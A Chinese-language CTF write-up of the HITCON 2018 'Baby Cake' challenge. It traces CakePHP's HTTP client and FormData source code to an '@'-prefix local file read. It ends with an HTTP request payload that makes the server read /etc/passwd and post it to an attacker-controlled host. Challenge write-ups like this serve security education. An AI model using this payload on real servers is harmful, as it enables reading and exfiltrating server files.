0%

Hitcon 2018 BabyCake Writeup

Baby Cake

Get the shell plz!!!!!

题目简单明了,直接给了全部源码(不像某些国内垃圾比赛全靠脑洞做题),整个网站实现的功能就是根据 url 参数去请求目标网页,如果是 Get 的话会存 cache 在本地,Post 的话将会直接把 data 参数 post 到目标网站,并且不会保存 cache。

本地任意文件读取

网站使用了 CakePHP 框架,对目标 url 的请求也是调用了 CakePHP 的 API,整站的源码打包下载下来,解压出来有快 30 个 M…目录结构也非常复杂。

查看 CakePHP 的文档找到 目录结构

这里重点关注 src 以及 vendor 目录,controller 位于 src 目录下

src 保存网站源码,而 vendor 则保存所有的第三方库,其中包括了 CakePHP 的源码。整个网站主要源码位于 /src/Controller/PagesController.php 里,源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
<?php

namespace App\Controller;
use Cake\Core\Configure;
use Cake\Http\Client;
use Cake\Http\Exception\ForbiddenException;
use Cake\Http\Exception\NotFoundException;
use Cake\View\Exception\MissingTemplateException;

class DymmyResponse {
function __construct($headers, $body) {
$this->headers = $headers;
$this->body = $body;
}
}

class PagesController extends AppController {

private function httpclient($method, $url, $headers, $data) {
$options = [
'headers' => $headers,
'timeout' => 10
];

$http = new Client();
return $http->$method($url, $data, $options);
}

private function back() {
return $this->render('pages');
}

private function _cache_dir($key){
$ip = $this->request->getEnv('REMOTE_ADDR');
$index = sprintf('mycache/%s/%s/', $ip, $key);
return CACHE . $index;
}

private function cache_set($key, $response) {
$cache_dir = $this->_cache_dir($key);
if (!file_exists($cache_dir) ) {
mkdir($cache_dir, 0700, true);
file_put_contents($cache_dir . "body.cache", $response->body);
file_put_contents($cache_dir . "headers.cache", serialize($response->headers));
}
}

private function cache_get($key) {
$cache_dir = $this->_cache_dir($key);
if (file_exists($cache_dir)) {
$body = file_get_contents($cache_dir . "/body.cache");
$headers = file_get_contents($cache_dir . "/headers.cache");

$body = "<!-- from cache -->\n" . $body;
$headers = unserialize($headers);
return new DymmyResponse($headers, $body);
} else {
return null;
}
}

public function display(...$path) {
$request = $this->request;
$data = $request->getQuery('data');
$url = $request->getQuery('url');
if (strlen($url) == 0)
return $this->back();

$scheme = strtolower(parse_url($url, PHP_URL_SCHEME) );
if (strlen($scheme) == 0 || !in_array($scheme, ['http', 'https']))
return $this->back();

$method = strtolower($request->getMethod());
if (!in_array($method, ['get', 'post', 'put', 'delete', 'patch']) )
return $this->back();


$headers = [];
foreach ($request->getHeaders() as $key => $value) {
if (in_array(strtolower($key), ['host', 'connection', 'expect', 'content-length'] ))
continue;
if (count($value) == 0)
continue;

$headers[$key] = $value[0];
}

$key = md5($url);
if ($method == 'get') {
$response = $this->cache_get($key);
if (!$response) {
$response = $this->httpclient($method, $url, $headers, null);
$this->cache_set($key, $response);
}
} else {
$response = $this->httpclient($method, $url, $headers, $data);
}

foreach ($response->headers as $key => $value) {
if (strtolower($key) == 'content-type') {
$this->response->type(array('type' => $value));
$this->response->type('type');
continue;
}
$this->response->withHeader($key, $value);
}

$this->response->body($response->body);
return $this->response;
}
}

主要逻辑在 display 函数中,这里只关心输入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public function display(...$path) {
$request = $this->request;
$data = $request->getQuery('data');
$url = $request->getQuery('url');
...
$key = md5($url);
if ($method == 'get') { // 如果是 GET
$response = $this->cache_get($key); // 尝试获取本地缓存
if (!$response) { // 没有缓存则直接远程请求
$response = $this->httpclient($method, $url, $headers, null);
$this->cache_set($key, $response); // 将请求结果放到缓存中
}
} else { // POST 不缓存,直接带着 data 请求
$response = $this->httpclient($method, $url, $headers, $data);
}
...
return $this->response;
}

这里的请求方式调用了 httpclient($method, $url, $headers, $data) 函数,下面看看这个函数做了什么

1
2
3
4
5
6
7
8
private function httpclient($method, $url, $headers, $data) {
$options = [
'headers' => $headers,
'timeout' => 10
];
$http = new Client();
return $http->$method($url, $data, $options);
}

在这个函数中才真正调用了 CakePHP 的远程请求 API$http->$method($url, $data, $options),跟进到 CakePHP 的 API 中

1
2
$http = new Client();
return $http->$method($url, $data, $options);

Client 类是从 Cake\Http\Client 中调用的,这个类位于 \vendor\cakephp\cakephp\src\Http\Client.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public function __construct($config = [])
{
$this->setConfig($config);

$adapter = $this->_config['adapter'];
$this->setConfig('adapter', null);
if (is_string($adapter)) {
$adapter = new $adapter();
}
$this->_adapter = $adapter;

if (!empty($this->_config['cookieJar'])) {
$this->_cookies = $this->_config['cookieJar'];
$this->setConfig('cookieJar', null);
} else {
$this->_cookies = new CookieCollection();
}
}

get 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
/**
* Do a GET request.
*
* The $data argument supports a special `_content` key
* for providing a request body in a GET request. This is
* generally not used, but services like ElasticSearch use
* this feature.
*
* @param string $url The url or path you want to request.
* @param array $data The query data you want to send.
* @param array $options Additional options for the request.
* @return \Cake\Http\Client\Response
*/
public function get($url, $data = [], array $options = [])
{
$options = $this->_mergeOptions($options);
$body = null;
if (isset($data['_content'])) {
$body = $data['_content'];
unset($data['_content']);
}
$url = $this->buildUrl($url, $data, $options);

return $this->_doRequest(
Request::METHOD_GET,
$url,
$body,
$options
);
}

post 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
/**
* Do a POST request.
*
* @param string $url The url or path you want to request.
* @param mixed $data The post data you want to send.
* @param array $options Additional options for the request.
* @return \Cake\Http\Client\Response
*/
public function post($url, $data = [], array $options = [])
{
$options = $this->_mergeOptions($options);
$url = $this->buildUrl($url, [], $options);

return $this->_doRequest(Request::METHOD_POST, $url, $data, $options);
}

这两个函数最后进行请求的时候都调用了$this->_doRequest(Request::METHOD_POST|Request::METHOD_GET, $url, $data, $options);,继续跟进

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
/**
* Helper method for doing non-GET requests.
*
* @param string $method HTTP method.
* @param string $url URL to request.
* @param mixed $data The request body.
* @param array $options The options to use. Contains auth, proxy, etc.
* @return \Cake\Http\Client\Response
*/
protected function _doRequest($method, $url, $data, $options)
{
$request = $this->_createRequest(
$method,
$url,
$data,
$options
);

return $this->send($request, $options);
}

又调用了 $this->_createRequest($method,$url,$data,$options); 继续跟 _createRequest 看它对输入的 url 和 data 都做了什么

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
/**
* Creates a new request object based on the parameters.
*
* @param string $method HTTP method name.
* @param string $url The url including query string.
* @param mixed $data The request body.
* @param array $options The options to use. Contains auth, proxy, etc.
* @return \Cake\Http\Client\Request
*/
protected function _createRequest($method, $url, $data, $options)
{
$headers = isset($options['headers']) ? (array)$options['headers'] : [];
if (isset($options['type'])) {
$headers = array_merge($headers, $this->_typeHeaders($options['type']));
}
if (is_string($data) && !isset($headers['Content-Type']) && !isset($headers['content-type'])) {
$headers['Content-Type'] = 'application/x-www-form-urlencoded';
}

$request = new Request($url, $method, $headers, $data);
$cookies = isset($options['cookies']) ? $options['cookies'] : [];
/** @var \Cake\Http\Client\Request $request */
$request = $this->_cookies->addToRequest($request, $cookies);
if (isset($options['auth'])) {
$request = $this->_addAuthentication($request, $options);
}
if (isset($options['proxy'])) {
$request = $this->_addProxy($request, $options);
}

return $request;
}

第 20 行在请求的时候创建了一个 Request 对象进行请求 new Request($url, $method, $headers, $data);,Request 类位于\Cake\Http\Client\Request,在\vendor\cakephp\cakephp\src\Http\Client\Request.php 中,继续跟进

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
class Request extends Message implements RequestInterface
{
use RequestTrait;

/**
* Constructor
*
* Provides backwards compatible defaults for some properties.
*
* @param string $url The request URL
* @param string $method The HTTP method to use.
* @param array $headers The HTTP headers to set.
* @param array|string|null $data The request body to use.
*/
public function __construct($url = '', $method = self::METHOD_GET, array $headers = [], $data = null)
{
$this->validateMethod($method);
$this->method = $method;
$this->uri = $this->createUri($url);
$headers += [
'Connection' => 'close',
'User-Agent' => 'CakePHP'
];
$this->addHeaders($headers);
$this->body($data);
}

...


/**
* Get/set the body/payload for the message.
*
* Array data will be serialized with Cake\Http\FormData,
* and the content-type will be set.
*
* @param string|array|null $body The body for the request. Leave null for get
* @return mixed Either $this or the body value.
*/
public function body($body = null)
{
if ($body === null) {
$body = $this->getBody();

return $body ? $body->__toString() : '';
}
if (is_array($body)) {
$formData = new FormData();
$formData->addMany($body);
$this->header('Content-Type', $formData->contentType());
$body = (string)$formData;
}
$stream = new Stream('php://memory', 'rw');
$stream->write($body);
$this->stream = $stream;

return $this;
}
}

在第 25 行的构造函数中使用 $this->body($data) 将 data 放在了 body 中,而在 body 函数中有一行代码判断 data 是否为数组,body 函数的文档中还提到了Array data will be serialized with Cake\Http\FormData, 也就是说如果是数组的话会 new 一个 FormData 对象,并且将 data 添加到 FormData 中

1
2
3
4
5
6
7
8
...
if (is_array($body)) {
$formData = new FormData();
$formData->addMany($body);
$this->header('Content-Type', $formData->contentType());
$body = (string)$formData;
}
...

跟到 FormData 中,位于 Cake\Http\FormData

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
class FormData implements Countable
{

...
/**
* Add a new part to the data.
*
* The value for a part can be a string, array, int,
* float, filehandle, or object implementing __toString()
*
* If the $value is an array, multiple parts will be added.
* Files will be read from their current position and saved in memory.
*
* @param string|\Cake\Http\Client\FormData $name The name of the part to add,
* or the part data object.
* @param mixed $value The value for the part.
* @return $this
*/
public function add($name, $value = null)
{
if (is_array($value)) {
$this->addRecursive($name, $value);
} elseif (is_resource($value)) {
$this->addFile($name, $value);
} elseif (is_string($value) && strlen($value) && $value[0] === '@') {
trigger_error(
'Using the @ syntax for file uploads is not safe and is deprecated. ' .
'Instead you should use file handles.',
E_USER_DEPRECATED
);
$this->addFile($name, $value);
} elseif ($name instanceof FormDataPart && $value === null) {
$this->_hasComplexPart = true;
$this->_parts[] = $name;
} else {
$this->_parts[] = $this->newPart($name, $value);
}

return $this;
}

/**
* Add multiple parts at once.
*
* Iterates the parameter and adds all the key/values.
*
* @param array $data Array of data to add.
* @return $this
*/
public function addMany(array $data)
{
foreach ($data as $name => $value) {
$this->add($name, $value);
}

return $this;
}

/**
* Add either a file reference (string starting with @)
* or a file handle.
*
* @param string $name The name to use.
* @param mixed $value Either a string filename, or a filehandle.
* @return \Cake\Http\Client\FormDataPart
*/
public function addFile($name, $value)
{
$this->_hasFile = true;

$filename = false;
$contentType = 'application/octet-stream';
if (is_resource($value)) {
$content = stream_get_contents($value);
if (stream_is_local($value)) {
$finfo = new finfo(FILEINFO_MIME);
$metadata = stream_get_meta_data($value);
$contentType = $finfo->file($metadata['uri']);
$filename = basename($metadata['uri']);
}
} else {
$finfo = new finfo(FILEINFO_MIME);
$value = substr($value, 1);
$filename = basename($value);
$content = file_get_contents($value);
$contentType = $finfo->file($value);
}
$part = $this->newPart($name, $content);
$part->type($contentType);
if ($filename) {
$part->filename($filename);
}
$this->add($part);

return $part;
}
...
}

addMany($body) 函数中将 data 数组进行了处理,将 data 数组里的每一个键和值都用 $this->add($name, $value) 加入到 body 中

1
2
3
foreach ($data as $name => $value) {
$this->add($name, $value);
}

再看 add 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public function add($name, $value = null)
{
if (is_array($value)) {
$this->addRecursive($name, $value);
} elseif (is_resource($value)) {
$this->addFile($name, $value);
} elseif (is_string($value) && strlen($value) && $value[0] === '@') {
trigger_error(
'Using the @ syntax for file uploads is not safe and is deprecated. ' .
'Instead you should use file handles.',
E_USER_DEPRECATED
);
$this->addFile($name, $value);
} elseif ($name instanceof FormDataPart && $value === null) {
$this->_hasComplexPart = true;
$this->_parts[] = $name;
} else {
$this->_parts[] = $this->newPart($name, $value);
}

return $this;
}

在 add 函数中第 7 行代码出了问题:elseif (is_string($value) && strlen($value) && $value[0] === '@'),如果 value 是”@”开头的字符串的话会转入 addFile

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public function addFile($name, $value)
{
...
if (is_resource($value)) {
...
} else {
$finfo = new finfo(FILEINFO_MIME);
$value = substr($value, 1);
$filename = basename($value);
$content = file_get_contents($value);
$contentType = $finfo->file($value);
}
$part = $this->newPart($name, $content);
$part->type($contentType);
if ($filename) {
$part->filename($filename);
}
$this->add($part);

return $part;
}

由于此时进来的 $value 是一个字符串,所以流程会转入 else 中,而在 else 里第 10 行代码可以直接读取文件 $content = file_get_contents($value);,读取到的内容在$content 变量中,而 $content 会存入 FormDataPart

1
2
3
4
public function newPart($name, $value)
{
return new FormDataPart($name, $value);
}

最后再次将 part 加入add($part),所以读取到的 content 会存在 body 中, 这样就构成了一个本地文件读取漏洞,Paylaod 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /?url=http://\*\*\*.\*\*\*.\*\*\*.\*\*\*/&data[a]=@/etc/passwd HTTP/1.1
Host: 13.230.134.135
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.67 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://13.230.134.135/
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: BD_UPN=12314753
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0


最终会在服务器收到读取到的文件内容